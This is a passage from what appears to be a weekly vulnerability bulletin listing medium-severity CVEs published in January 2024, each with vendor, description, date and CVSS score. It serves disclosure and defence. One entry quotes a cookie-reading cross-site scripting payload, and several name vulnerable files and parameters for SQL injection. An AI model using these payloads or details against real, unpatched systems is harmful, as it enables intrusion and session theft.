phpgurukul -- hospital_management_system	A vulnerability, which was classified as problematic, was found in PHPGurukul Hospital Management System 1.0. This affects an unknown part of the file index.php#contact_us of the component Contact Form. The manipulation of the argument Name/Email/Message leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249843.	2024-01-07	6.1	CVE-2024-0286
pimcore -- customer-data-framework	The Customer Management Framework (CMF) for Pimcore adds functionality for customer data management, segmentation, personalization and marketing automation. An authenticated and unauthorized user can access the list of potential duplicate users and see their data. Permissions are enforced when reaching the `/admin/customermanagementframework/duplicates/list` endpoint allowing an authenticated user without the permissions to access the endpoint and query the data available there. Unauthorized user(s) can access PII data from customers. This vulnerability has been patched in version 4.0.6.	2024-01-11	6.5	CVE-2024-21666

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
pimcore -- customer-data-framework	pimcore/customer-data-framework is the Customer Management Framework for management of customer data within Pimcore. An authenticated and unauthorized user can access the GDPR data extraction feature and query over the information returned, leading to customer data exposure. Permissions are not enforced when reaching the `/admin/customermanagementframework/gdpr-data/search-data-objects` endpoint allowing an authenticated user without the permissions to access the endpoint and query the data available there. An unauthorized user can access PII data from customers. This vulnerability has been patched in version 4.0.6.	2024-01-11	6.5	CVE-2024-21667
pimcore -- ecommerce-framework-bundle	ecommerce-framework-bundle is the Pimcore Ecommerce Framework Bundle. An authenticated and unauthorized user can access the back-office orders list and be able to query over the information returned. Access control and permissions are not being enforced. This vulnerability has been patched in version 1.0.10.	2024-01-11	4.3	CVE-2024-21665
preh_gmbh -- mib3_infotainment_unit	The Real-Time Streaming Protocol implementation in the MIB3 infotainment incorrectly handles requests to /logs URI, when the id parameter equals to zero. This issue allows an attacker connected to the in-vehicle Wi-Fi network to cause denial-of-service of the infotainment system, when the certain preconditions are met. Vulnerability discovered on Škoda Superb III (3V3) - 2.0 TDI manufactured in 2022.	2024-01-12	5.3	CVE-2023-28898 cve@asrg.io
preh_gmbh -- mib3_infotainment_unit	The secret value used for access to critical UDS services of the MIB3 infotainment is hardcoded in the firmware. Vulnerability discovered on Škoda Superb III (3V3) - 2.0 TDI manufactured in 2022.	2024-01-12	4	CVE-2023-28897 cve@asrg.io
project_worlds -- lawyer_management_system	A vulnerability was found in Project Worlds Lawyer Management System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file searchLawyer.php. The manipulation of the argument experience leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250603.	2024-01-13	6.3	CVE-2024-0498
proofpoint -- proofpoint_enterprise_protection	Proofpoint Enterprise Protection contains a vulnerability in the email delivery agent that allows an unauthenticated attacker to inject improperly encoded HTML into the email body of a message through the email subject. The vulnerability is caused by inappropriate encoding when rewriting the email before delivery.This issue affects Proofpoint Enterprise Protection: from 8.20.2 before patch 4809, from 8.20.0 before patch 4805, from 8.18.6 before patch 4804 and all other prior versions.	2024-01-09	5.3	CVE-2023-5770 security@proofpoint.com
ptc -- kepware_kepserverex	An uncontrolled search path element vulnerability (DLL hijacking) has been discovered that could allow a locally authenticated adversary to escalate privileges to SYSTEM. Alternatively, they could host a trojanized version of the software and trick victims into downloading and installing their malicious version to gain initial access and code execution.	2024-01-10	6.3	CVE-2023-29444
ptc -- kepware_kepserverex	An insufficiently protected credentials vulnerability in KEPServerEX could allow an adversary to capture user credentials as the web server uses basic authentication.	2024-01-10	5.7	CVE-2023-29447
ptc -- kepware_kepserverex	An improper input validation vulnerability has been discovered that could allow an adversary to inject a UNC path via a malicious project file. This allows an adversary to capture NLTMv2 hashes and potentially crack them offline.	2024-01-10	4.7	CVE-2023-29446
pycryptodome -- pycryptodome	PyCryptodome and pycryptodomex before 3.19.1 allow side-channel leakage for OAEP decryption, exploitable for a Manger attack.	2024-01-05	5.9	CVE-2023-52323
pyload -- pyload	pyLoad is the free and open-source Download Manager written in pure Python. A log injection vulnerability was identified in `pyload` allowing any unauthenticated actor to inject arbitrary messages into the logs gathered by `pyload`. Forged or otherwise, corrupted log files can be used to cover an attacker's tracks or even to	2024-01-08	5.3	CVE-2024-21645

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	implicate another party in the commission of a malicious act. This vulnerability has been patched in version 0.5.0b3.dev77.			
qnap -- qumagie	A cross-site scripting (XSS) vulnerability has been reported to affect QuMagie. If exploited, the vulnerability could allow authenticated users to inject malicious code via a network. We have already fixed the vulnerability in the following version: QuMagie 2.2.1 and later	2024-01-05	5.4	CVE-2023-47559 security@qnapsecurity.com.tw
qualys -- policy_compliance	Qualys Jenkins Plugin for Policy Compliance prior to version and including 1.0.5 was identified to be affected by a security flaw, which was missing a permission check while performing a connectivity check to Qualys Cloud Services. This allowed any user with login access to configure or edit jobs to utilize the plugin and configure potential a rouge endpoint via which it was possible to control response for certain request which could be injected with XXE payloads leading to XXE while processing the response data	2024-01-09	6.5	CVE-2023-6147 bugreport@qualys.com
qualys -- policy_compliance	Qualys Jenkins Plugin for Policy Compliance prior to version and including 1.0.5 was identified to be affected by a security flaw, which was missing a permission check while performing a connectivity check to Qualys Cloud Services. This allowed any user with login access and access to configure or edit jobs to utilize the plugin to configure a potential rouge endpoint via which it was possible to control response for certain request which could be injected with XSS payloads leading to XSS while processing the response data	2024-01-09	5.4	CVE-2023-6148 bugreport@qualys.com
qualys -- web_application_screening	Qualys Jenkins Plugin for WAS prior to version and including 2.0.11 was identified to be affected by a security flaw, which was missing a permission check while performing a connectivity check to Qualys Cloud Services. This allowed any user with login access to configure or edit jobs to utilize the plugin and configure potential a rouge endpoint via which it was possible to control response for certain request which could be injected with XXE payloads leading to XXE while processing the response data	2024-01-09	6.5	CVE-2023-6149 bugreport@qualys.com
quic-go -- quic-go	quic-go is an implementation of the QUIC protocol (RFC 9000, RFC 9001, RFC 9002) in Go. An attacker can cause its peer to run out of memory sending a large number of PATH_CHALLENGE frames. The receiver is supposed to respond to each PATH_CHALLENGE frame with a PATH_RESPONSE frame. The attacker can prevent the receiver from sending out (the vast majority of) these PATH_RESPONSE frames by collapsing the peers congestion window (by selectively acknowledging received packets) and by manipulating the peer's RTT estimate. This vulnerability has been patched in versions 0.37.7, 0.38.2 and 0.39.4.	2024-01-10	6.4	CVE-2023-49295
red_hat -- multiple_products	A Cross-site request forgery vulnerability exists in ipa/session/login_password in all supported versions of IPA. This flaw allows an attacker to trick the user into submitting a request that could perform actions as the user, resulting in a loss of confidentiality and system integrity. During community penetration testing it was found that for certain HTTP end-points FreeIPA does not ensure CSRF protection. Due to implementation details one cannot use this flaw for reflection of a cookie representing already logged-in user. An attacker would always have to go through a new authentication attempt.	2024-01-10	6.5	CVE-2023-5455
red_hat -- multiple_products	A flaw was found in CRI-O that involves an experimental annotation leading to a container being unconfined. This may allow a pod to specify and get any amount of	2024-01-09	6.5	CVE-2023-6476

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	memory/cpu, circumventing the kubernetes scheduler and potentially resulting in a denial of service in the node.			
red_hat -- multiple_products	A flaw was found in the QEMU built-in VNC server while processing ClientCutText messages. The qemu_clipboard_request() function can be reached before vnc_server_cut_text_caps() was called and had the chance to initialize the clipboard peer, leading to a NULL pointer dereference. This could allow a malicious authenticated VNC client to crash QEMU and trigger a denial of service.	2024-01-12	6.5	CVE-2023-6683
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows an authenticated remote attacker to download arbitrary files in all paths of the system under the context of the application OS user ("root") via a crafted HTTP request.	2024-01-10	6.5	CVE-2023-48242 psirt@bosch.com
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows an unauthenticated remote attacker to upload arbitrary files under the context of the application OS user ("root") via a crafted HTTP request.	2024-01-10	6.5	CVE-2023-48245 psirt@bosch.com
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows a remote attacker to download arbitrary files in all paths of the system under the context of the application OS user ("root") via a crafted HTTP request.	2024-01-10	6.5	CVE-2023-48246 psirt@bosch.com
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows an authenticated remote attacker to list arbitrary folders in all paths of the system under the context of the application OS user ("root") via a crafted HTTP request. By abusing this vulnerability, it is possible to steal session cookies of other active users.	2024-01-10	6.5	CVE-2023-48249 psirt@bosch.com
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows an unauthenticated remote attacker to send malicious network requests containing arbitrary client-side script code and obtain its execution inside a victim's session via a crafted URL, HTTP request, or simply by waiting for the victim to view the poisoned log.	2024-01-10	6.3	CVE-2023-48255 psirt@bosch.com
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows a remote attacker to inject and execute arbitrary client-side script code inside a victim's session via a crafted URL or HTTP request.	2024-01-10	5.3	CVE-2023-48244 psirt@bosch.com
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows an unauthenticated remote attacker to read arbitrary files under the context of the application OS user ("root") via a crafted HTTP request.	2024-01-10	5.3	CVE-2023-48247 psirt@bosch.com
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows an authenticated remote attacker to upload a malicious file to the SD card containing arbitrary client-side script code and obtain its execution inside a victim's session via a crafted URL, HTTP request, or simply by waiting for the victim to view the poisoned file.	2024-01-10	5.5	CVE-2023-48248 psirt@bosch.com
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows a remote attacker to inject and execute arbitrary client-side script code inside a victim's session via a crafted URL or HTTP request.	2024-01-10	5.3	CVE-2023-48254 psirt@bosch.com
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows a remote attacker to inject arbitrary HTTP response headers or manipulate HTTP response bodies inside a victim's session via a crafted URL or HTTP request.	2024-01-10	5.3	CVE-2023-48256 psirt@bosch.com
rexroth -- nexo_cordless_nut	The vulnerability allows a remote attacker to delete arbitrary files on the file system via a crafted URL or HTTP request through a victim's session.	2024-01-10	5.5	CVE-2023-48258 psirt@bosch.com

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
runner_nxa015s-36v				
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows a remote unauthenticated attacker to read arbitrary content of the results database via a crafted HTTP request.	2024-01-10	5.3	CVE-2023-48259 psirt@bosch.com
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows a remote unauthenticated attacker to read arbitrary content of the results database via a crafted HTTP request.	2024-01-10	5.3	CVE-2023-48260 psirt@bosch.com
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows a remote unauthenticated attacker to read arbitrary content of the results database via a crafted HTTP request.	2024-01-10	5.3	CVE-2023-48261 psirt@bosch.com
rubygems -- rubygems	Rubygems.org is the Ruby community's gem hosting service. Rubygems.org users with MFA enabled would normally be protected from account takeover in the case of email account takeover. However, a workaround on the forgotten password form allows an attacker to bypass the MFA requirement and takeover the account. This vulnerability has been patched in commit 0b3272a.	2024-01-12	4.8	CVE-2024-21654
sap -- marketing	SAP Marketing (Contacts App) - version 160, allows an attacker with low privileges to trick a user to open malicious page which could lead to a very convincing phishing attack with low impact on confidentiality and integrity of the application.	2024-01-09	5.4	CVE-2024-21734 cna@sap.com cna@sap.com
sap -- netweaver_application_server_abap	SAP NetWeaver ABAP Application Server and ABAP Platform do not sufficiently encode user-controlled inputs, resulting in Cross-Site Scripting (XSS) vulnerability. An attacker with low privileges can cause limited impact to confidentiality of the application data after successful exploitation.	2024-01-09	5.4	CVE-2024-21738 cna@sap.com cna@sap.com
sap_se -- sap_netweaver_(internet_communication_manager)	Under certain conditions, Internet Communication Manager (ICM) or SAP Web Dispatcher - versions KERNEL 7.22, KERNEL 7.53, KERNEL 7.54, KRNL64UC 7.22, KRNL64UC 7.22EXT, KRNL64UC 7.53, KRNL64NUC 7.22, KRNL64NUC 7.22_EXT, WEBDISP 7.22_EXT, WEBDISP 7.53, WEBDISP 7.54, could allow an attacker to access information which would otherwise be restricted causing high impact on confidentiality.	2024-01-09	4.1	CVE-2024-22124 cna@sap.com cna@sap.com
sap_se -- sap_s/4hana_finance_(advanced_payment_management)	SAP S/4HANA Finance for (Advanced Payment Management) - versions SAPSCORE 128, S4CORE 107, does not perform necessary authorization checks. A function import could be triggered allowing the attacker to create in-house bank accounts leading to low impact on the confidentiality of the application.	2024-01-09	6.4	CVE-2024-21736 cna@sap.com cna@sap.com
siemens -- cp-8031_master_module	A vulnerability has been identified in CP-8031 MASTER MODULE (All versions < CPCI85 V05.20), CP-8050 MASTER MODULE (All versions < CPCI85 V05.20). The network configuration service of affected devices contains a flaw in the conversion of ipv4 addresses that could lead to an uninitialized variable being used in succeeding validation steps. By uploading specially crafted network configuration, an authenticated remote attacker could be able to inject commands that are executed on the device with root privileges during device startup.	2024-01-09	6.6	CVE-2023-42797 productcert@siemens.com
siemens -- jt2go	A vulnerability has been identified in JT2Go (All versions < V14.3.0.6), Teamcenter Visualization V13.3 (All versions < V13.3.0.13), Teamcenter Visualization V14.1 (All versions < V14.1.0.12), Teamcenter Visualization V14.2 (All versions < V14.2.0.9), Teamcenter Visualization V14.3 (All versions < V14.3.0.6). The affected applications contain a null pointer dereference vulnerability while parsing specially crafted CGM files. An attacker could leverage this vulnerability to crash the application causing denial of service condition.	2024-01-09	5.5	CVE-2023-51744 productcert@siemens.com

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
sourcecodester -- engineers_online_portal	A vulnerability was found in SourceCodester Engineers Online Portal 1.0. It has been classified as problematic. Affected is an unknown function of the component File Upload Handler. The manipulation leads to resource consumption. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250116.	2024-01-09	6.5	CVE-2024-0348
sourcecodester -- engineers_online_portal	A vulnerability was found in SourceCodester Engineers Online Portal 1.0. It has been rated as problematic. Affected by this issue is some unknown functionality. The manipulation leads to session expiration. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. VDB-250118 is the identifier assigned to this vulnerability.	2024-01-09	6.5	CVE-2024-0350
sourcecodester -- house_rental_management_system	A vulnerability was found in SourceCodester House Rental Management System 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file manage_user.php of the component Edit User. The manipulation of the argument id/name/username leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-250610 is the identifier assigned to this vulnerability.	2024-01-13	4.7	CVE-2024-0502
sourcecodester -- simple_house_rental_system	A vulnerability classified as problematic was found in CodeAstro Simple House Rental System 5.6. Affected by this vulnerability is an unknown functionality of the component Login Panel. The manipulation leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250111.	2024-01-09	6.1	CVE-2024-0343
sourcecodester -- student_attendance_system	A vulnerability, which was classified as critical, was found in SourceCodester Student Attendance System 1.0. Affected is an unknown function of the file attendance_report.php. The manipulation of the argument class_id leads to sql injection. The exploit has been disclosed to the public and may be used. VDB-250230 is the identifier assigned to this vulnerability.	2024-01-10	6.3	CVE-2024-0389
soxft -- timemail	A vulnerability, which was classified as critical, has been found in soxft TimeMail up to 1.1. Affected by this issue is some unknown functionality of the file check.php. The manipulation of the argument c leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250112.	2024-01-09	5.5	CVE-2024-0344
splunk -- splunk_enterprise_security_(es)	In Splunk Enterprise Security (ES) versions lower than 7.1.2, an attacker can create a malformed Investigation to perform a denial of service (DoS). The malformed investigation prevents the generation and rendering of the Investigations manager until it is deleted. The vulnerability requires an authenticated session and access to create an Investigation. It only affects the availability of the Investigations manager, but without the manager, the Investigations functionality becomes unusable for most users.	2024-01-09	6.5	CVE-2024-22165 prodsec@splunk.com prodsec@splunk.com
splunk -- splunk_enterprise_security_(es)	In Splunk Enterprise Security (ES) versions below 7.1.2, an attacker can use investigation attachments to perform a denial of service (DoS) to the Investigation. The attachment endpoint does not properly limit the size of the request which lets an attacker cause the Investigation to become inaccessible.	2024-01-09	4.3	CVE-2024-22164 prodsec@splunk.com prodsec@splunk.com
ssm_shiro_blog -- ssm_shiro_blog	A vulnerability has been found in Mandelo ssm_shiro_blog 1.0 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file updateRoles of the component Backend. The manipulation leads to improper access controls. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250123.	2024-01-10	4.3	CVE-2024-0356
sumanbhattarai -- send_users_email	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Suman Bhattarai Send Users Email.This issue affects Send Users Email: from n/a through 1.4.3.	2024-01-05	5.3	CVE-2023-52126

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
synopsys -- devise-two-factor	Devise-Two-Factor does not throttle or otherwise restrict login attempts at the server by default. When combined with the Time-based One Time Password algorithm's (TOTP) inherent entropy limitations, it's possible for an attacker to bypass the 2FA mechanism through brute-force attacks.	2024-01-11	5	CVE-2024-0227 disclosure@synopsys.com
synopsys -- seeker	Synopsys Seeker versions prior to 2023.12.0 are vulnerable to a stored cross-site scripting vulnerability through a specially crafted payload.	2024-01-09	5.4	CVE-2024-0226 disclosure@synopsys.com
taokeyun -- taokeyun	A vulnerability was found in Taokeyun up to 1.0.5. It has been rated as critical. Affected by this issue is the function shopGoods of the file application/index/controller/app/store/Goods.php of the component HTTP POST Request Handler. The manipulation of the argument keyword leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-250586 is the identifier assigned to this vulnerability.	2024-01-13	6.3	CVE-2024-0481
taokeyun -- taokeyun	A vulnerability classified as critical has been found in Taokeyun up to 1.0.5. This affects the function index of the file application/index/controller/app/Video.php of the component HTTP POST Request Handler. The manipulation of the argument cid leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250587.	2024-01-13	6.3	CVE-2024-0482
taokeyun -- taokeyun	A vulnerability classified as critical was found in Taokeyun up to 1.0.5. This vulnerability affects the function index of the file application/index/controller/app/Task.php of the component HTTP POST Request Handler. The manipulation of the argument cid leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250588.	2024-01-13	6.3	CVE-2024-0483
tasmoadmin -- tasmoadmin	Lack of "current" GET parameter validation during the action of changing a language leads to an open redirect vulnerability.	2024-01-08	6.1	CVE-2023-6552
themeisle -- rss_aggregator_by_feedzy	The RSS Aggregator by Feedzy - Feed to Post, Autoblogging, News & YouTube Video Feeds Aggregator plugin for WordPress is vulnerable to unauthorized settings update due to a missing capability check when updating settings in all versions up to, and including, 4.3.2. This makes it possible for authenticated attackers, with author-level access or above to change the plugin's settings including proxy settings, which are also exposed to authors.	2024-01-06	5.4	CVE-2023-6798
themeisle -- rss_aggregator_by_feedzy	The RSS Aggregator by Feedzy - Feed to Post, Autoblogging, News & YouTube Video Feeds Aggregator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 4.3.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-06	5.4	CVE-2023-6801
themeum -- wp_crowdfunding	The WP Crowdfunding WordPress plugin before 2.1.9 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin	2024-01-08	6.1	CVE-2023-6161
topazevolution -- antifraud	The wsftprm.sys kernel driver 2.0.0.0 in Topaz Antifraud allows low-privileged attackers to kill any (Protected Process Light) process via an IOCTL (which will be named at a later time).	2024-01-08	6.5	CVE-2023-52271
totolink -- t6_firmware	A vulnerability classified as problematic has been found in Totolink T6 4.1.9cu.5241_B20210923. This affects an unknown part of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument topicurl with the input showSyslog leads to improper access controls. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The	2024-01-09	6.5	CVE-2023-7223

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	associated identifier of this vulnerability is VDB-249867. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.			
trellix -- trellix_endpoint_security_(ens)_web_control	A content-security-policy vulnerability in ENS Control browser extension prior to 10.7.0 Update 15 allows a remote attacker to alter the response header parameter setting to switch the content security policy into report-only mode, allowing an attacker to bypass the content-security-policy configuration.	2024-01-10	6.1	CVE-2024-0310 trellixpsirt@trellix.com
uncannyowl -- uncanny_automator	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Uncanny Automator, Uncanny Owl Uncanny Automator - Automate everything with the #1 no-code automation and integration plugin.This issue affects Uncanny Automator - Automate everything with the #1 no-code automation and integration plugin: from n/a through 5.1.0.2.	2024-01-05	5.3	CVE-2023-52151
vehicle_booking_system -- vehicle_booking_system	A vulnerability, which was classified as problematic, was found in CodeAstro Vehicle Booking System 1.0. This affects an unknown part of the file usr/usr-register.php of the component User Registration. The manipulation of the argument Full_Name/Last_Name/Address with the input <script>alert(document.cookie)</script> leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250113 was assigned to this vulnerability.	2024-01-09	4.3	CVE-2024-0345
videowhisper -- rate_star_review	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VideoWhisper Rate Star Review - AJAX Reviews for Content, with Star Ratings allows Reflected XSS.This issue affects Rate Star Review - AJAX Reviews for Content, with Star Ratings: from n/a through 1.5.1.	2024-01-08	6.1	CVE-2023-52213
weitong -- mall	A vulnerability was found in Weitong Mall 1.0.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file platform-shop\src\main\resources\com\platform\dao\OrderDao.xml. The manipulation of the argument sidx/order leads to sql injection. The associated identifier of this vulnerability is VDB-250243.	2024-01-12	5.5	CVE-2022-4961
wordpress -- wordpress	The LiteSpeed Cache plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'esi' shortcode in versions up to, and including, 5.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-11	6.4	CVE-2023-4372
wordpress -- wordpress	The WCFM Marketplace plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'wcfm_stores' shortcode in versions up to, and including, 3.6.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-11	6.4	CVE-2023-4960
wordpress -- wordpress	Cross-Site Request Forgery (CSRF) vulnerability in Doofinder Doofinder WP & WooCommerce Search. This issue affects Doofinder WP & WooCommerce Search: from n/a through 2.0.33.	2024-01-05	6.5	CVE-2023-51678
wordpress -- wordpress	The Essential Real Estate WordPress plugin before 4.4.0 does not apply proper capability checks on its AJAX actions, which among other things, allow attackers with a subscriber account to conduct Denial of Service attacks.	2024-01-08	6.5	CVE-2023-6139
wordpress -- wordpress	The EventON - WordPress Virtual Event Calendar Plugin plugin for WordPress is vulnerable to unauthorized modification of data and loss of data due to a missing capability check on the evo_eventpost_update_meta function in all versions up to, and including, 4.5.4 (for Pro) and 2.2.7 (for free). This makes it possible for unauthenticated attackers to update and remove arbitrary post metadata. Note that certain parameters may allow for content injection.	2024-01-10	6.5	CVE-2023-6158

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
wordpress -- wordpress	The EventON - WordPress Virtual Event Calendar Plugin plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.5.4 (for Pro) & 2.2.7 (for Free). This is due to missing or incorrect nonce validation on the evo_eventpost_update_meta function. This makes it possible for unauthenticated attackers to update arbitrary post metadata via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	2024-01-11	6.5	CVE-2023-6242
wordpress -- wordpress	The EventON - WordPress Virtual Event Calendar Plugin plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.5.4 (Pro) & 2.2.8 (Free). This is due to missing or incorrect nonce validation on the save_virtual_event_settings function. This makes it possible for unauthenticated attackers to modify virtual event settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	2024-01-11	6.5	CVE-2023-6244
wordpress -- wordpress	The WP VR WordPress plugin before 8.3.15 does not authorisation and CSRF in a function hooked to admin_init, allowing unauthenticated users to downgrade the plugin, thus leading to Reflected or Stored XSS, as previous versions have such vulnerabilities.	2024-01-08	6.1	CVE-2023-6529
wordpress -- wordpress	The Featured Image from URL (FIFU) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the featured image alt text in all versions up to, and including, 4.5.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-11	6.4	CVE-2023-6561
wordpress -- wordpress	The Import and export users and customers plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.24.2 via the Recurring Import functionality. This makes it possible for authenticated attackers, with administrator access and above, to read and delete the contents of arbitrary files on the server including wp-config.php, which can contain sensitive information.	2024-01-11	6.6	CVE-2023-6583
wordpress -- wordpress	The Happy Addons for Elementor plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via DOM in all versions up to and including 3.9.1.1 (versions up to 2.9.1.1 in Happy Addons for Elementor Pro) due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.	2024-01-11	6.1	CVE-2023-6632
wordpress -- wordpress	The CAOS | Host Google Analytics Locally plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'update_settings' function in versions up to, and including, 4.7.14. This makes it possible for unauthenticated attackers to update plugin settings.	2024-01-11	6.5	CVE-2023-6637
wordpress -- wordpress	The GTG Product Feed for Shopping plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'update_settings' function in versions up to, and including, 1.2.4. This makes it possible for unauthenticated attackers to update plugin settings.	2024-01-11	6.5	CVE-2023-6638
wordpress -- wordpress	The Post Grid Combo - 36+ Gutenberg Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the custom JS parameter in all versions up to, and including, 2.2.64 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor access or higher to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-11	6.4	CVE-2023-6645
wordpress -- wordpress	The Ibtana - WordPress Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ive' shortcode in versions up to, and including, 1.2.2 due to insufficient input sanitization and output escaping on 'width' and 'height' user supplied attribute. This makes it possible for authenticated attackers	2024-01-11	6.4	CVE-2023-6684

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	with contributor level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.			
wordpress -- wordpress	The 3D FlipBook plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Ready Function' field in all versions up to, and including, 1.15.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-11	6.4	CVE-2023-6776
wordpress -- wordpress	The Orbit Fox by ThemeIsle plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's custom fields in all versions up to, and including, 2.10.26 due to insufficient input sanitization and output escaping on user supplied values. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-11	6.4	CVE-2023-6781
wordpress -- wordpress	The AMP for WP - Accelerated Mobile Pages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode(s) in all versions up to, and including, 1.0.92 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-11	6.4	CVE-2023-6782
wordpress -- wordpress	The Formidable Forms plugin for WordPress is vulnerable to HTML injection in versions up to, and including, 6.7. This vulnerability allows unauthenticated users to inject arbitrary HTML code into form fields. When the form data is viewed by an administrator in the Entries View Page, the injected HTML code is rendered, potentially leading to admin area defacement or redirection to malicious websites.	2024-01-09	6.5	CVE-2023-6830
wordpress -- wordpress	The Simple Membership plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'environment_mode' parameter in all versions up to, and including, 4.3.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.	2024-01-11	6.1	CVE-2023-6882
wordpress -- wordpress	The Limit Login Attempts Reloaded plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode(s) in all versions up to, and including, 2.25.26 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-11	6.4	CVE-2023-6934
